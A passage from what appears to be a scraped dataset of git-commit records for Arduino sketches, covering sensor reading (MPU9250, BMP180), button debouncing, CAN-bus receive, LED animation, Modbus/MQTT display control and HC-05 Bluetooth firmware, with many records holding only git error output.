GYRO_FULL_SCALE_250_DPS 0x00\n#define GYRO_FULL_SCALE_500_DPS 0x08\n#define GYRO_FULL_SCALE_1000_DPS 0x10\n#define GYRO_FULL_SCALE_2000_DPS 0x18\n\n#define ACC_FULL_SCALE_2_G 0x00\n#define ACC_FULL_SCALE_4_G 0x08\n#define ACC_FULL_SCALE_8_G 0x10\n#define ACC_FULL_SCALE_16_G 0x18\n\n\n\n\/\/ This function read Nbytes bytes from I2C device at address Address.\n\/\/ Put read bytes starting at register Register in the Data array.\nvoid I2Cread(uint8_t Address, uint8_t Register, uint8_t Nbytes, uint8_t* Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.endTransmission();\n\n \/\/ Read Nbytes\n Wire.requestFrom(Address, Nbytes);\n uint8_t index=0;\n while (Wire.available())\n Data[index++]=Wire.read();\n}\n\n\n\/\/ Write a byte (Data) in device (Address) at register (Register)\nvoid I2CwriteByte(uint8_t Address, uint8_t Register, uint8_t Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.write(Data);\n Wire.endTransmission();\n}\n\n\n\n\/\/ Initial time\nlong int ti;\nvolatile bool intFlag=false;\n\n\/\/ Initializations\nvoid setup()\n{\n \/\/ Arduino initializations\n Wire.begin();\n Serial.begin(115200);\n\n \/\/ Set accelerometers low pass filter at 5Hz\n I2CwriteByte(MPU9250_ADDRESS,29,0x06);\n \/\/ Set gyroscope low pass filter at 5Hz\n I2CwriteByte(MPU9250_ADDRESS,26,0x06);\n\n\n \/\/ Configure gyroscope range\n I2CwriteByte(MPU9250_ADDRESS,27,GYRO_FULL_SCALE_1000_DPS);\n \/\/ Configure accelerometers range\n I2CwriteByte(MPU9250_ADDRESS,28,ACC_FULL_SCALE_4_G);\n \/\/ Set by pass mode for the magnetometers\n I2CwriteByte(MPU9250_ADDRESS,0x37,0x02);\n\n \/\/ Request continuous magnetometer measurements in 16 bits\n I2CwriteByte(MAG_ADDRESS,0x0A,0x16);\n\n pinMode(13, OUTPUT);\n Timer1.initialize(10000); \/\/ initialize timer1, and set a 1\/2 second period\n Timer1.attachInterrupt(callback); \/\/ attaches callback() as a timer overflow interrupt\n\n\n \/\/ Store initial time\n ti=millis();\n}\n\n\n\n\/\/ Counter\nlong int cpt=0;\n\nvoid callback()\n{\n intFlag=true;\n digitalWrite(13, digitalRead(13) ^ 1);\n}\n\n\/\/ Main loop, read and display data\nvoid loop()\n{\n while (!intFlag);\n intFlag=false;\n\n \/\/ Display time\n Serial.print (millis()-ti,DEC);\n Serial.print (\"\\t\");\n\n\n \/\/ _______________\n \/\/ ::: Counter :::\n\n \/\/ Display data counter\n \/\/ Serial.print (cpt++,DEC);\n \/\/ Serial.print (\"\\t\");\n\n\n\n \/\/ ____________________________________\n \/\/ ::: accelerometer and gyroscope :::\n\n \/\/ Read accelerometer and gyroscope\n uint8_t Buf[14];\n I2Cread(MPU9250_ADDRESS,0x3B,14,Buf);\n\n \/\/ Create 16 bits values from 8 bits data\n\n \/\/ Accelerometer\n int16_t ax=-(Buf[0]<<8 | Buf[1]);\n int16_t ay=-(Buf[2]<<8 | Buf[3]);\n int16_t az=Buf[4]<<8 | Buf[5];\n\n \/\/ Gyroscope\n int16_t gx=-(Buf[8]<<8 | Buf[9]);\n int16_t gy=-(Buf[10]<<8 | Buf[11]);\n int16_t gz=Buf[12]<<8 | Buf[13];\n\n \/\/ Display values\n\n Serial.print(\" -- \");\n\n \/\/ Accelerometer\n Serial.print (ax,DEC);\n Serial.print (\"\\t\");\n Serial.print (ay,DEC);\n Serial.print (\"\\t\");\n Serial.print (az,DEC);\n Serial.print (\"\\t\");\n\n Serial.print(\" -- \");\n\n \/\/ Gyroscope\n Serial.print (gx,DEC);\n Serial.print (\"\\t\");\n Serial.print (gy,DEC);\n Serial.print (\"\\t\");\n Serial.print (gz,DEC);\n Serial.print (\"\\t\");\n\n\n Serial.print(\" -- \");\n\n \/\/ _____________________\n \/\/ ::: Magnetometer :::\n\n\n \/\/ Read register Status 1 and wait for the DRDY: Data Ready\n\n uint8_t ST1;\n do\n {\n I2Cread(MAG_ADDRESS,0x02,1,&ST1);\n }\n while (!(ST1&0x01));\n\n \/\/ Read magnetometer data\n uint8_t Mag[7];\n I2Cread(MAG_ADDRESS,0x03,7,Mag);\n\n\n \/\/ Create 16 bits values from 8 bits data\n\n \/\/ Magnetometer\n int16_t mx=-(Mag[3]<<8 | Mag[2]);\n int16_t my=-(Mag[1]<<8 | Mag[0]);\n int16_t mz=-(Mag[5]<<8 | Mag[4]);\n\n\n \/\/ Magnetometer\n Serial.print (mx+200,DEC);\n Serial.print (\"\\t\");\n Serial.print (my-70,DEC);\n Serial.print (\"\\t\");\n Serial.print (mz-700,DEC);\n Serial.print (\"\\t\");\n\n\n\n \/\/ End of line\n Serial.println(\"\");\n \/\/ delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/MPU9250.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1f677da96d270572f8f735b4665f90c43e2e5557","subject":"Update of HHI block event recognition","message":"Update of HHI block event recognition\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/HHISpikerBox\/HHISpikerBox.ino","new_file":"Muscle\/Arduino Code\/HHISpikerBox\/HHISpikerBox.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/HHISpikerBox\/HHISpikerBox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"161062a0ff9d1be0f50319bc8b90bb6f39f43394","subject":"Put screen back","message":"Put screen back\n\nThere is a simple LDR connected, which, in theory, should control backlight of the screen. If it is dark, then there is no one around and we don't need screen backlight. So we turn it off. Just for fun, let's also publish the data to MQTT topic.","repos":"lgramatikov\/celeste","old_file":"TempSensor.ino","new_file":"TempSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"37df22dd0f6caa9408d3fef5301b0cb6adff03a1","subject":"Create retentive-memory.ino","message":"Create retentive-memory.ino","repos":"hwbrill\/retentive-memory","old_file":"firmware\/examples\/retentive-memory.ino","new_file":"firmware\/examples\/retentive-memory.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/retentive-memory.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7ed666b7b19c42f58043da8d51401bbd1c0e95c6","subject":"Added a 2 button example","message":"Added a 2 button example\n","repos":"ZivotJeKrasny\/Bounce2,ldarlok\/Bounce2,sseptillion\/Bounce2,thomasfredericks\/Bounce2","old_file":"examples\/bounce2buttons\/bounce2buttons.ino","new_file":"examples\/bounce2buttons\/bounce2buttons.ino","new_contents":"\n\/* \n DESCRIPTION\n ====================\n Simple example of the Bounce library that switches the debug LED when \n either of 2 buttons are pressed.\n *\/\n \n\/\/ Include the Bounce2 library found here :\n\/\/ https:\/\/github.com\/thomasfredericks\/Bounce2\n#include <Bounce2.h>\n\n#define BUTTON_PIN_1 2\n#define BUTTON_PIN_2 3\n\n\n#define LED_PIN 13\n\n\/\/ Instantiate a Bounce object\nBounce debouncer1 = Bounce(); \n\n\/\/ Instantiate another Bounce object\nBounce debouncer2 = Bounce(); \n\nvoid setup() {\n\n \/\/ Setup the first button with an internal pull-up :\n pinMode(BUTTON_PIN_1,INPUT_PULLUP);\n \/\/ After setting up the button, setup the Bounce instance :\n debouncer1.attach(BUTTON_PIN_1);\n debouncer1.interval(5); \/\/ interval in ms\n \n \/\/ Setup the second button with an internal pull-up :\n pinMode(BUTTON_PIN_2,INPUT_PULLUP);\n \/\/ After setting up the button, setup the Bounce instance :\n debouncer2.attach(BUTTON_PIN_2);\n debouncer2.interval(5); \/\/ interval in ms\n\n\n \/\/Setup the LED :\n pinMode(LED_PIN,OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ Update the Bounce instances :\n debouncer1.update();\n debouncer2.update();\n\n \/\/ Get the updated value :\n int value1 = debouncer1.read();\n int value2 = debouncer2.read();\n\n \/\/ Turn on the LED if either button is pressed :\n if ( value1 == LOW || value2 == LOW ) {\n digitalWrite(LED_PIN, HIGH );\n } \n else {\n digitalWrite(LED_PIN, LOW );\n }\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/bounce2buttons\/bounce2buttons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d310e299c635043beefdd097bb92a978cbffde80","subject":"Add canbus FD receive interrupt example","message":"Add canbus FD receive interrupt example\n","repos":"Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield","old_file":"examples\/receive_interruptFD\/receive_interruptFD.ino","new_file":"examples\/receive_interruptFD\/receive_interruptFD.ino","new_contents":"\/\/ demo: CAN-BUS Shield, receive data with interrupt mode\n\/\/ when in interrupt mode, the data coming can't be too fast, must >20ms, or else you can use check mode\n\/\/ loovee, 2014-6-13\n\n#include <SPI.h>\n#include \"mcp2518fd_can.h\"\n\n\/*SAMD core*\/\n#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE\n #define SERIAL SerialUSB\n#else\n #define SERIAL Serial\n#endif\n\n#define CAN_2518FD\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\nconst int SPI_CS_PIN = BCM8;\nconst int CAN_INT_PIN = BCM25;\n\n#ifdef CAN_2518FD\nmcp2518fd CAN(SPI_CS_PIN); \/\/ Set CS pin\n#endif\n\nunsigned char flagRecv = 0;\nunsigned char len = 0;\nunsigned char buf[64];\nchar str[20];\n\nvoid setup() {\n SERIAL.begin(115200);\n while (!SERIAL) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n CAN.setMode(0);\n while (0 != CAN.begin((byte)CAN_500K_1M)) { \/\/ init can bus : baudrate = 500k \n SERIAL.println(\"CAN BUS Shield init fail\");\n SERIAL.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n byte mode = CAN.getMode();\n SERIAL.printf(\"CAN BUS get mode = %d\\n\\r\",mode);\n SERIAL.println(\"CAN BUS Shield init ok!\");\n SERIAL.println(\"CAN BUS Shield init ok!\");\n pinMode(CAN_INT_PIN, INPUT);\n attachInterrupt(digitalPinToInterrupt(CAN_INT_PIN), MCP2515_ISR, FALLING); \/\/ start interrupt\n}\n\nvoid MCP2515_ISR() {\n flagRecv = 1;\n}\n\nvoid loop() {\n if (flagRecv) {\n \/\/ check if get data\n\n flagRecv = 0; \/\/ clear flag\n SERIAL.println(\"into loop\");\n \/\/ iterate over all pending messages\n \/\/ If either the bus is saturated or the MCU is busy,\n \/\/ both RX buffers may be in use and reading a single\n \/\/ message does not clear the IRQ conditon.\n while (CAN_MSGAVAIL == CAN.checkReceive()) {\n \/\/ read data, len: data length, buf: data buf\n SERIAL.println(\"checkReceive\");\n CAN.readMsgBuf(&len, buf);\n \/\/ print the data\n for (int i = 0; i < len; i++) {\n SERIAL.print(buf[i]); SERIAL.print(\"\\t\");\n }\n SERIAL.println();\n }\n }\n}\n\n\/*********************************************************************************************************\n END FILE\n*********************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/receive_interruptFD\/receive_interruptFD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4abf479d56d0cd94a86818358911ad210ed994aa","subject":"Add twinkle example","message":"Add twinkle example\n","repos":"nijotz\/pixl","old_file":"examples\/sorenson-twinkle\/sorenson-twinkle.ino","new_file":"examples\/sorenson-twinkle\/sorenson-twinkle.ino","new_contents":"#include <pixelmap.h>\n#include <FastLED.h>\n#include <Logging.h>\n\n\/\/ Uncomment to turn off assertions\n#define NDEBUG\n\n\/\/ Weird thing I had to do to get the Logging library working with teensy\nextern \"C\"{\n int _getpid(){ return -1;}\n int _kill(int pid, int sig){ return -1; }\n int _write(){return -1;}\n}\n\n#define LOGLEVEL LOG_LEVEL_INFOS\n\nusing namespace pixelmap;\n\nInput* input;\n\n\/\/ Curtains\nLEDStrip strip1 = LEDStrip(150);\nLEDStrip strip2 = LEDStrip(150);\nLEDStrip strip3 = LEDStrip(150);\nLEDStrip strip4 = LEDStrip(150);\n\n\/\/ Triangles strips, group of 3 triangles, split in hardware to make 3 groups\nLEDStrip strip5 = LEDStrip(165);\n\nLEDStrip* strips[] = {&strip1, &strip2, &strip3, &strip4, &strip5};\nint starts[] = {0, 0, 0, 0, 0, 0, 0};\nint lengths[] = {150, 150, 150, 150, 150, 150, 165};\nLEDs leds = LEDs(5, strips, starts, lengths);\n\nVisualization* viz;\nPassThroughAnimation* anim;\n\nvoid setup() {\n Log.Init(LOGLEVEL, 9600);\n delay(1000);\n Log.Info(\"Starting setup()\\n\");\n Serial.flush();\n delay(1000);\n\n input = new RandomInput();\n viz = new TwinkleVisualization(input, 765);\n anim = new PassThroughAnimation(viz, leds);\n\n FastLED.addLeds<WS2811, 21, RGB>(strip4.leds, 150);\n FastLED.addLeds<WS2811, 20, RGB>(strip3.leds, 150);\n FastLED.addLeds<WS2811, 14, RGB>(strip2.leds, 150);\n FastLED.addLeds<WS2811, 7, RGB>(strip1.leds, 150);\n\n FastLED.addLeds<WS2811, 2, GRB>(strip5.leds, 165);\n\n FastLED.setBrightness(255);\n\n Looper* looper = Looper::instance();\n looper->addInput(input);\n looper->addVisualization(viz);\n looper->addAnimation(anim);\n looper->setUpdatesPerSecond(30);\n\n Log.Info(\"Finished setup()\\n\");\n delay(100);\n}\n\nvoid loop() {\n AudioNoInterrupts();\n Looper::instance()->loop();\n AudioInterrupts();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/sorenson-twinkle\/sorenson-twinkle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"544a27375481b051406b587e6d92dbb5f9e5e0a3","subject":"Create mega_eth_rs485_lcd_mqtt.ino","message":"Create mega_eth_rs485_lcd_mqtt.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rr\/mega_eth_rs485_lcd_mqtt.ino","new_file":"rr\/mega_eth_rs485_lcd_mqtt.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h> \/\/ F Malpartida's NewLiquidCrystal library\n \n\/*-----( Declare Constants )-----*\/\n#define I2C_ADDR 0x20 \/\/ Direccion I2C para PCF8574A que es el que lleva nuestra placa dise\u00f1ada por MJKDZ\n\/\/definimos las constantes para esta placa\n \n#define LED_OFF 0\n#define LED_ON 1\n \n\/\/mjkdz i2c LCD board\n\/\/ addr, en,rw,rs,d4,d5,d6,d7,bl,blpol\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n#define baud 153600\n#define timeout 200\n#define polling 100 \n#define retry_count 10\nunsigned long time;\nchar message_buff[100];\n\nint val1 = 0;\nint val2 = 0;\nint val3 = 0;\nint val4 = 0;\nlong values []= {0,0,0,0};\n\n\nbyte mac[] = { 0xDE, 0xED, 0xBA, 0xFE, 0xFE, 0xED };\nIPAddress ip(192, 168, 30, 129);\nIPAddress netmask(255, 255,255, 0);\nIPAddress gateway(192, 168, 30, 1);\nIPAddress server(190, 97, 168, 236);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\n\n\nEthernetClient ethClient;\nPubSubClient client(server,1883,callback,ethClient);\n\n\n\n\/\/ used to toggle the receive\/transmit pin on the driver\n#define TxEnablePin 2 \n\n\/\/ The total amount of available memory on the master to store data\n#define TOTAL_NO_OF_REGISTERS 32\n\n\/\/ This is the easiest way to create new packets\n\/\/ Add as many as you want. TOTAL_NO_OF_PACKETS\n\/\/ is automatically updated.\nenum\n{\n PACKET1,\n PACKET2,\n PACKET3,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\n\n\/\/ Create an array of Packets to be configured\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\/\/ Masters register array\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/ Initialize each packet\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 0, 16, 0);\n \/\/ modbus_construct(&packets[PACKET3], 1, PRESET_MULTIPLE_REGISTERS, 200, 4, 0);\n \/\/ Initialize the Modbus Finite State Machine\n modbus_configure(&Serial, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n lcd.begin (20,4); \/\/ inicializar lcd \n\/\/ Activamos la retroiluminacion\n lcd.setBacklight(LED_ON);\n\n lcd.setCursor(0,1);\n\n\nEthernet.begin(mac, ip);\n if (client.connect(\"arduinoClient\")) {\n client.publish(\"test\/temp2\",\"hello world\");\n client.subscribe(\"rr\/temp\");\n }\n\n\n}\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n\n \n \n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \n\/\/String msgString = String(message_buff); \n\/\/Serial.println(\"Payload: \" + msgString);\n\nparse();\n\n\n \n\n\n\n \n}\n\n\nvoid loop()\n{\n\nclient.loop();\n\nif (val4 == 1) \n{\nmodbus_update(); \nregs[0] = val1;\nregs[1] = val2;\nregs[2] = val3;\nregs[3] = val4;\n\n\n lcd.setCursor(0,0);\n lcd.print(\"SA:\");\n lcd.setCursor(3,0);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,0);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,0);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,0);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,0);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,0);\n lcd.print(\"%\");\n \n\n}\n else if (val4 == 2)\n{\nmodbus_update(); \nregs[4] = val1;\nregs[5] = val2;\nregs[6] = val3;\nregs[7] = val4;\n\n\n\n lcd.setCursor(0,1);\n lcd.print(\"SB:\");\n lcd.setCursor(3,1);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,1);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,1);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,1);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,1);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,1);\n lcd.print(\"%\");\n \n \n\n}\n\n else if (val4 == 3)\n{\nmodbus_update(); \nregs[8] = val1;\nregs[9] = val2;\nregs[10] = val3;\nregs[11] = val4;\n\n\n\n lcd.setCursor(0,2);\n lcd.print(\"SC:\");\n lcd.setCursor(3,2);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,2);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,2);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,2);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,2);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,2);\n lcd.print(\"%\");\n \n\n}\n\n else if (val4 == 4)\n{\nmodbus_update(); \nregs[12] = val1;\nregs[13] = val2;\nregs[14] = val3;\nregs[15] = val4;\n\n\n lcd.setCursor(0,3);\n lcd.print(\"SD:\");\n lcd.setCursor(3,3);\nfloat val11 = val1 \/ 100.0;\nlcd.print(val11, 1);\nlcd.setCursor(7,3);\nlcd.print(\"\\337\");\n \n lcd.setCursor(9,3);\n float val22 = val2 \/ 100.0;\n lcd.print(val22, 1);\n lcd.setCursor(13,3);\nlcd.print(\"\\337\");\n \n lcd.setCursor(15,3);\n float val33 = val3 \/ 100.0;\n String cent = \"\" + (char)223 ;\n lcd.print(val33, 1);\n lcd.setCursor(19,3);\n lcd.print(\"%\");\n \n \n}\n\n}\n\n\nvoid parse()\n{\n \n char separator[] = \",\"; \n\n char *result = NULL;\n int index = 0;\n\n result = strtok( message_buff, separator ); \n while( (result != NULL) && (index < 4) ) {\n Serial.print( result );\n Serial.println( );\n values[index++] = atol(result); \/\/ become to values\n\n result = strtok( NULL, separator ); \n }\n\n \n val1 = values[0];\n val2 = values[1];\n val3 = values[2];\n val4 = values[3];\n\nSerial.print(\"valor 1: \"); Serial.println(val1);\nSerial.print(\"valor 2: \"); Serial.println(val2);\nSerial.print(\"valor 3: \"); Serial.println(val3);\nSerial.print(\"valor 4: \"); Serial.println(val4);\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rr\/mega_eth_rs485_lcd_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b88a0896d7d9b7d9b1621c328c8e445fc9bf450c","subject":"Add piTransceiver V 1.0 Arduino firmware","message":"Add piTransceiver V 1.0 Arduino firmware","repos":"cyosp\/CYTHS,cyosp\/CYTHS,cyosp\/CYTHS,cyosp\/CYTHS,cyosp\/CYTHS","old_file":"hardware\/piTransceiver\/V 1.0\/Arduino\/piTransceiver\/piTransceiver.ino","new_file":"hardware\/piTransceiver\/V 1.0\/Arduino\/piTransceiver\/piTransceiver.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/piTransceiver\/V' did not match any file(s) known to git\nerror: pathspec '1.0\/Arduino\/piTransceiver\/piTransceiver.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f855e4845d890d10d532a601da353a21243dbbce","subject":"Add v1 chords","message":"Add v1 chords\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"e5e93b02e6e3b2cd0331524d7484990d89e035ad","subject":"it might be neccessary to diff btw start & endbow","message":"it might be neccessary to diff btw start & endbow\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"435b9e9ec689367a2a76214737935b2a0697cf3b","subject":"10 strings in program memory table","message":"10 strings in program memory table\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ead3b2b381af0699a9f14130c80d4eed64db6c63","subject":"added initial timer coder","message":"added initial timer coder\n","repos":"hantar\/arduinogo,hantar\/arduinogo,hantar\/arduinogo","old_file":"matrix timer\/my_-_matrix8x8.ino","new_file":"matrix timer\/my_-_matrix8x8.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix' did not match any file(s) known to git\nerror: pathspec 'timer\/my_-_matrix8x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0080396b8e729043180c7a15fbed4261e731fd05","subject":"firmware","message":"firmware\n","repos":"tony-rasskazov\/meteo,tony-rasskazov\/meteo,tony-rasskazov\/meteo","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\n\/* \n CONNECTIONS:\n - GND\n - Pin 2 to HC-05 TXD\n - Pin 3 to HC-05 RXD\n - Pin 4 to HC-05 KEY\n - Pin 5+6 to HC-05 VCC for power control\n *\/\n\n#include <SoftwareSerial.h> \n#include <SFE_BMP180.h>\n\n#define HC_05_TXD_ARDUINO_RXD 2\n#define HC_05_RXD_ARDUINO_TXD 3\n#define HC_05_SETUPKEY 4\n#define HC_05_PWR1 5 \/\/ Connect in parallel to HC-05 VCC\n#define HC_05_PWR2 6 \/\/ Connect in parallel to HC-05 VCC\n#define CMD_W 1100 \/\/ msec\n\n#define msg(x) Serial.println(x)\n\nconst int board = 0; \/\/ 0 -- for outdoor, 1 -- indor module\n\nSoftwareSerial BTSerial(HC_05_TXD_ARDUINO_RXD, HC_05_RXD_ARDUINO_TXD); \/\/ RX | TX\n\nenum BTDeviceState {\n error = -2,\n off = -1,\n data = 0,\n at = 1,\n};\n\nclass BTDevice \n{\nprivate:\n BTDeviceState m_state;\n \npublic:\n BTDevice(): m_state(off) { };\n\n void setState(BTDeviceState state) {\n if (m_state == state) {\n msg(\"try to set BT to the same state \" + state);\n \n return;\n }\n switch (state) {\n case off: {\n \n msg(\"Power off\");\n digitalWrite(HC_05_PWR1, LOW);\n digitalWrite(HC_05_PWR2, LOW); \n delay(CMD_W);\n m_state = off;\n return; \n }\n case data: {\n if (m_state == off) {\n digitalWrite(HC_05_SETUPKEY, LOW); \/\/ Set command mode when powering up\n delay(CMD_W); \n digitalWrite(HC_05_PWR1, HIGH);\n digitalWrite(HC_05_PWR2, HIGH); \n delay(CMD_W);\n \n m_state = data;\n return; \n }\n }\n case at: {\n if (m_state == off) {\n digitalWrite(HC_05_SETUPKEY, HIGH); \/\/ Set command mode when powering up\n delay(CMD_W); \n digitalWrite(HC_05_PWR1, HIGH);\n digitalWrite(HC_05_PWR2, HIGH); \n delay(CMD_W); \n\n m_state = at;\n return;\n }\n \n }\n \n }\n };\n\n BTDeviceState state() {return m_state;};\n \n};\n\n\/*\nvoid BTDevice::initPins() {\n pinMode(HC_05_SETUPKEY, OUTPUT); \/\/ this pin will pull the HC-05 pin 34 (key pin) HIGH to switch module to AT mode\n pinMode(HC_05_PWR1, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n pinMode(HC_05_PWR2, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n};\n*\/\n\nBTDevice *bt = new BTDevice();\n\nSFE_BMP180 pressure;\n\nvoid setup() \/****** SETUP: RUNS ONCE ******\/\n{\n\n pinMode(HC_05_SETUPKEY, OUTPUT); \/\/ this pin will pull the HC-05 pin 34 (key pin) HIGH to switch module to AT mode\n pinMode(HC_05_PWR1, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n pinMode(HC_05_PWR2, OUTPUT); \/\/ Connect in parallel to HC-05 VCC\n\n pinMode(10, INPUT);\n pinMode(8, INPUT);\n \n\/\/ digitalWrite(HC_05_SETUPKEY, HIGH); \/\/ Set command mode when powering up\n \n Serial.begin(9600); \/\/ For the Arduino IDE Serial Monitor\n BTSerial.begin(38400); \/\/ HC-05 default speed in AT command mode\n\n bt->setState(data);\n\n if (pressure.begin())\n Serial.println(\"BMP180 init success\");\n else\n Serial.println(\"BMP180 init failed!!!\");\n\n\/*\n msg(\"Pwr on\");\n delay(2000);\n \n msg(\"Applying VCC Power. LED should blink SLOWLY: 2 Seconds ON\/OFF\");\n \n digitalWrite(HC_05_PWR1, HIGH); \/\/ Power VCC\n digitalWrite(HC_05_PWR2, HIGH); \n \n delay(2000);\n\n Serial.println(\"Enter AT commands in top window.\");\n BTSerial.begin(38400); \/\/ HC-05 default speed in AT command mode\n*\/\n\n}\n\nint cnt = 0;\n\nconst int aInPin = A0;\nint analogPin = 3;\n \nint v0 = 0; \nint v1 = 0; \nint v2 = 0; \nint v3 = 0;\nint d10 = 0; \nint d8 = 0; \ndouble T = -10.0;\ndouble P = -10.0;\n\n#define bt_echo_send(x) Serial.print(x); BTSerial.print(x);\n#define fbt_echo_send(x) bt_echo_send(x); bt_echo_send(\" \");\n\nvoid loop()\n{\n int btIn = -1;\n\n if (BTSerial.available() && (btIn = BTSerial.read()) ) {\n Serial.write(btIn);\n }\n\n if (Serial.available()) {\n char inChar = (char)Serial.read();\n\n if (inChar == '*') {\n bt->setState(off);\n bt->setState(data);\n }\n if (inChar == '?') {\n bt->setState(off);\n bt->setState(at);\n }\n \n String fromSerialStr = String(inChar);\n \n BTSerial.write(fromSerialStr.c_str());\n Serial.write(fromSerialStr.c_str());\n 